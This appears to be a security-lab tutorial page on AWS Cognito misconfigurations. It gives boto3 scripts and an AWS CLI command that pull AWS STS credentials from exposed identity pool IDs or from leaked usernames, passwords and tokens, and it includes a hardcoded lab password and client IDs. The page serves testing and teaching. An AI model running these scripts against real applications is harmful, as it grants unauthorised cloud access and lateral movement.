Cognito - Security

Here are some of intersting security implications for Cognito:-

Senario I - IdentityPoolId everywhere

In many cases, Federated identity login has "Unauthenticated Identities" enabled which lets anyone use the AWS Service associated with that Identity. This can be a major misconfiguration if use-case is not justified.

Assuming you are given an application with us-east-2:aac74edd-4d2c-4b8a-bb87-2064fc9ccd5b as IdentityPoolID . We can now fetch the AWS credentials using the IdentityPoolID in case the application has unauthenticated access allowed.

import boto3

#Region where CognitoID is located
region='us-east-2'
#The CognitoID for fedrated identity provider
identity_pool_id='us-east-2:aac74edd-4d2c-4b8a-bb87-2064fc9ccd5b'

client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool_id)['IdentityId']

credentials = client.get_credentials_for_identity(IdentityId=_id)

print("Access Key: " + credentials['Credentials']['AccessKeyId'])
print("Secret Key: " + credentials['Credentials']['SecretKey'])
print("Session Token: " + credentials['Credentials']['SessionToken'])

The above code will print out the STS token for the associcated CognitoID.

Senario II - Authenticated Fedrated Identity Leaked

Sometimes we are not lucky to get un-authenticated identity enabled as we saw in above senario. In such cases we need to authenticate and get the token and then make request to cognito.

We need to have access to following values to extract the STS tokens in a authenticated cognito flow.

  • USERNAME

  • PASSWORD

  • CLIENT_ID

  • USER_POOL_ID

  • IDENTITY_POOL_ID

Values CLIENT_ID , USER_POOL_ID and IDENTITY_POOL_ID are generally leaked in source code since they are needed in backend to make api calls for the authentication.

Once you have authenticated to application, simply copy the Cognito returned token and make the AWS call.

import boto3

def get_token_id(username,password,client_id):
   client = boto3.client("cognito-idp", region_name="us-east-2")
   response = client.initiate_auth(ClientId=client_id,AuthFlow="USER_PASSWORD_AUTH",AuthParameters={"USERNAME":username,'PASSWORD':password})
   tokenid = response['AuthenticationResult']['IdToken']
   return tokenid

def get_identity_id(client_id,user_pool_id,identity_pool_id,tokenid):
   identity=boto3.client("cognito-identity",region_name="us-east-2")
   identity_id = identity.get_id(IdentityPoolId=identity_pool_id,Logins={f"cognito-idp.us-east-2.amazonaws.com/{user_pool_id}":tokenid})['IdentityId']
   return identity_id

def get_credentials(identity_id,tokenid,user_pool_id):
   identity=boto3.client("cognito-identity",region_name="us-east-2")
   credentials = identity.get_credentials_for_identity(IdentityId=identity_id,Logins={f"cognito-idp.us-east-2.amazonaws.com/{user_pool_id}":tokenid})['Credentials']
   access_key = credentials['AccessKeyId']
   secret_key = credentials['SecretKey']
   session_token = credentials['SessionToken']

   return access_key,secret_key,session_token

USERNAME = "securitylabs-articles@securitylabs.tech"
PASSWORD = "vKEX@7Ti"
CLIENT_ID = "1mf96jsi4jhs31qg2bq7p4lken"
USER_POOL_ID = "us-east-2_rIJHISTX7"
IDENTITY_POOL_ID = "us-east-2:aac74edd-4d2c-4b8a-bb87-2064fc9ccd5b"

tokenid = get_token_id(USERNAME,PASSWORD,CLIENT_ID)
IDENTITY_ID = get_identity_id(CLIENT_ID,USER_POOL_ID,IDENTITY_POOL_ID,tokenid)

accesskey,secretkey,sessiontoken = get_credentials(IDENTITY_ID,tokenid,USER_POOL_ID)

print(f"ACCESS_KEY_ID : {accesskey}")
print(f"AWS_SECRET_ACCESS_KEY : {secretkey}")
print(f"SESSION_TOKEN : {sessiontoken}")

This would in return give out STS token which can be now used to move laterally.

Senario III - Leaked Access Tokens

It is possible to view data associted with the user whose access tokens are leaked. Access token can also be obtained from username and password values.

import boto3
client = boto3.client("cognito-idp", region_name="us-east-2")
response = client.initiate_auth(ClientId=client_id,AuthFlow="USER_PASSWORD_AUTH",AuthParameters={"USERNAME":username,'PASSWORD':password})
AccessToken = response['AuthenticationResult']['AccessToken']

Once we have the access token, we can query the Cognito identity provier pool

aws cognito-idp get-user --region us-east-2 --access-token <access_token>

Last updated